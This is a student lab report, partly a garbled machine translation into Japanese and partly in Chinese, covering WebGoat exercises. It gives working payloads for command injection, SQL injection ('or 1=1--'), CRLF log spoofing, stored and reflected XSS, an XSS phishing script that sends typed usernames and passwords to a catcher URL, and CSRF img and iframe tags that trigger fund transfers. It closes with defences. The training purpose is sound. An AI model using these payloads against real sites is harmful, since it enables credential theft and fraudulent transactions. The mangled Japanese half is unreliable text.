ネットワーク技術20165322 Exp9 Webセキュリティインフラストラクチャに対する2018-2019-2
ディレクトリ
実験内容と手順
実験中に発生する問題
基本的な質問には答え
実験と経験の概要
実験内容と手順
(A)取付WebGoat
- WebGoatは、セキュリティの脆弱性は、Webアプリケーションに存在し説明するためにウェブの脆弱性実験のためのJavaプログラムの範囲を開発しOWASP組織です。クロスサイトスクリプティング攻撃(XSS)、アクセス制御、セキュリティスレッド、オペレーティング隠されたフィールド、パラメータ操作、弱いセッションクッキー:Java仮想マシンでのプラットフォーム上で実行WebGoat、現在を含め、30回の以上のトレーニングコースを提供その上で、SQLブラインド、デジタルタイプのSQLインジェクション、SQLインジェクションの文字列、Webサービス、オープン認証に失敗し、危険なHTMLコメントと。
- 私たちは、ダウンロードするためのリンクに直接移動:WebGoat-コンテナ7.0.1-WAR-exec.jar、このjarパッケージには問題があると思われます。。。数回の時点では、ブラウザが崩壊が原因は明らかではない、です。要するに、ネットワークが成功することができますより多くの忍耐が得意です。
- 仮想マシンの後に直接共有ディレクトリ実験へ
- コマンドを使用して
java -jar webgoat-container-7.0.1-war-exec.jar
表示する際、Wengoatを開くために信息: Starting ProtocolHandler ["http-bio-8080"]
説明開くには、あなたが占領ポート8080を表示することができ、実験は、端末を閉じることができません - お使いのブラウザに入力し
http://localhost:8080/WebGoat
Webgoatログイン画面を入力するように、ユーザーインターフェースの任意のセットを直接使用することは、ログインするために名前とパスワードを提供します。
(B)SQLインジェクション攻撃
1.噴射指令(コマンド・インジェクション)
- 技術的な概念:任意のパラメータ駆動サイトへのコマンドインジェクション攻撃、それは深刻な脅威です。技術の背後に攻撃技術のこの方法は、覚えやすく、システム妥協の広い範囲への損傷を引き起こす可能性があります。そのような信じられないほどのリスクの数が、システムのインターネットは、この形式の攻撃に対して脆弱です。
- ステップ
- クリックしてください
Injection Flaws
-Command Injection
上で右クリックし
AccessControlMatrix.help
、チェックボックスを選択しinspect Element
、ソースコードを変更するレビューページ要素を、図の末尾に追加"& netstat -an & ipconfig"
クリックして
view
ネットワークポートの使用状況やIPアドレスを表示し、攻撃が成功します
- クリックしてください
2.文字列を入力します(コマンド・インジェクション)
- 技術的な概念:SQLインジェクション攻撃は、それがあるとして任意のデータベース駆動型のサイトへの深刻な脅威です。攻撃者は、パスワードなしでデータベースの内容を表示することができます。
- 技術的な原則:次のクエリに基づいて、独自のSQLインジェクション文字列を構築します。
SELECT * FROM user_data WHERE last_name = '?'
- ステップ:
- クリックしてください
Injection Flaws
-String SQL Injection
- ユーザー名クエリ入力
Smith' or 1=1--
となり、クエリを行い、:SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--'
どこ-コメント文字として、この式は真のスタイルは決してありませんことを。
- クリックしてください
3.ログ欺く(ログインスプーフィング)
- 技術的な原則は:この攻撃では、攻撃者がログにその足跡をクリアするには、この方法を使用することができ、ログファイルに、人間の目を欺くことです。攻撃者は、ログの内容を変更、さらにはログスクリプトに書かれたことができ、スクリプトは、情報管理者がブラウザを介して見ることができ返します。
- ステップ:
- クリックしてください
Injection Flaws
-Log Spoofing
- テキストボックスにユーザー名を入力します。
Smith Login Succeeded for username admin
- Webページには、エラー値を返します:ログインユーザ名に失敗しました:鍛冶屋ログインユーザ名adminのための成功しました
- 我々はユーザー名を記入した場合でも、
Smith%0d%0aLogin Succeeded for username: admin
使用回车符0D%
して换行符%0A
ログに2行表示を許可され、ランダムなパスワード、ログインをクリックしてください 私たちは、管理者のログイン成功してログを見ることができます。
- ユーザー名とスクリプトを入力すると何が起こるのだろうか?
- ユーザー名を入力し
admin <script>alert(document.cookie)</script>
、管理者は、クッキー情報のポップアップを見ることができます。
- ユーザー名を入力し
- クリックしてください
(C)XSS攻撃
1.クロスサイトスクリプティングフィッシング攻撃(XSSとフィッシング)
- 技術的な原則:サーバー側ですべての入力を検証するために、常に良い練習。ユーザーが入力した場合、不正なHTTPレスポンスは、XSSを引き起こす可能性があります。XSSの助けを借りて、あなたは釣りツールを実装することができたり、特定の公式ページにコンテンツを追加します。被災者のために、脅威のためのコンテンツを見つけることは困難です。
- ステップ
- XSSは、さらに、既存のページ要素に追加することができます使用、解決策は2つの部分から構成され、我々は、組み合わせて使用する必要があります。
- 被害者は、フォームを記入します。
- 収集した情報の形でスクリプトを読み取るには、攻撃者に送信されます。
- ユーザー名とパスワードの入力ボックスで表を書きます
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
- 攻撃者がユーザ名とパスワードの情報は、フォームに入力された読み込み、スクリプトを書く、この情報をキャプチャするために情報を送るWebGoat
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
- 合併のコードの2枚以上、
XSS
-Phishing with XSS
このコードを検索するには、我々はフォームは、ユーザー名とパスワードの入力を求めて表示され、ユーザー名とパスワードを入力し、ログイン情報をクリックすると、WebGoat入力されたキャプチャとフィードバックされます
- XSSは、さらに、既存のページ要素に追加することができます使用、解決策は2つの部分から構成され、我々は、組み合わせて使用する必要があります。
2.蓄積型XSS攻撃(ストアドXSS攻撃)
- 技術的な原則は:この攻撃は、JavaScriptのスクリプトは、スクリプトはデータベースに保存されますユーザー入力メッセージのメッセージフォーラムや他のプラットフォームでは一般的です。それはメッセージであるので、いつでもユーザーがページを開いているので、スクリプトは、データベースと実行から取得されます。
- ステップ:
- タイトル内の任意の文字を入力し、メッセージボードを入力し
<script>alert("You've been attacked!!!");</script>
、提出提出
- メッセージリスト内のリンクをクリックして、ポップアップメッセージを
- タイトル内の任意の文字を入力し、メッセージボードを入力し
前記反射型XSS攻撃(XSS攻撃反射)
- 技術原理:反射のXSS攻撃、攻撃者は、攻撃のスクリプトを使用してURLを作成して、別のサイトにそれを公開し、電子メールまたは他の手段を介して被害者となるよう、それをクリックすることができます。
- ステップ:
- コードを入力し
<script>alert("You've been attacked!!!");</script>
、ページ上のフィードバックを与えると同時に、財布をクリックしてください
- コードを入力し
(D)CSRF攻撃
- クッキーであるかについて知って最初に操作する前に
- クッキーは、時々複数形のクッキーと、ユーザのローカル端末に保存されている目的のセッションを追跡するため、特定のサイトのユーザIDを識別するために、(典型的には、暗号化された)データを指します。それは単にクライアントのメモリの状態のためのものです。
1. CSRFクロスサイトリクエストフォージェリ
- 技術的な原則:クロスサイトリクエストフォージェリ攻撃の犠牲者の負荷のための方法ですがの画像を含むWebページを意味します。次のコードに示すように:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
被害者のブラウザがページをレンダリングしようとすると、それがに指定されたパラメータを使用しますwww.mybank.com
「私」エンドポイント要求。ブラウザは、それが実際に資金の伝達関数であっても、画像を取得するには、リンクを要求します。あなたがリクエストを送信すると、ブラウザがサイトに関連付けられているすべてのクッキーを追加します。そのため、場合、サイトのユーザーが認証され、かつ永続的または現在のセッションクッキーを持ってきた、そのサイトは、正当なユーザの要求を分離することはできません。このように、攻撃者は、被害者が、このような「購入品」、または他の関数脆弱なウェブサイトとして、彼らは実装する予定のないアクションを実行することができます。
- ステップ:
- それぞれ268と900、SRCの右側のページ・メニュー・パラメータと値を参照してください
- 任意のパラメータでタイトルを入力し、入力メッセージボックス
<img src="http://localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000" width="1" height="1" />
、メッセージボックスにURLの画像の形式は、その後、URLが他のユーザーに表示されていない、ユーザーは一度画像をクリックすると、それはCSRFイベントをトリガーする、[送信]をクリックします提出します - タイトルは、メッセージリスト内の名前付きのリンク(ニュース)を生成します。CSRF攻撃の目的を達成するために、メッセージをクリックして、現在のページには、ダウンロードしてニュースを表示し、5000元のユーザーから転送されます。
2.绕过 CSRF 确认(CSRF Prompt By‐Pass)
- 技术原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 操作步骤:
- 查看页面右侧Parameters中的src和menu值分别为274和900
- 在title框中输入任意值,message框中输入代码:
<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
- 提交以后点击title链接
实验过程中遇到的问题
- 在2019kali环境下安装webgoat时,打开网页以后显示不出课程内容,换成2018kali以后就没问题了。
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- 防御:
- 注意检查输入的特殊字符串
- 数据库中敏感数据不要明文存储
输入错误的异常提示应当返回尽量少的信息
(2)XSS攻击的原理,如何防御
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 检查表单提交字符串,例如检查到javascript就判定为xss攻击
在表单提交或者url参数传递前,对需要的参数进行过滤
(3)CSRF攻击原理,如何防御
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 对于每一个重要的post提交页面,都使用一个验证码
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验总结与体会
本次实验在webgoat上操作起来很简单,理解起来却很不容易,参考了webgoat中文手册、cookie相关知识点完成了实验,感觉要想理解得更透彻还需要深入地研究才行。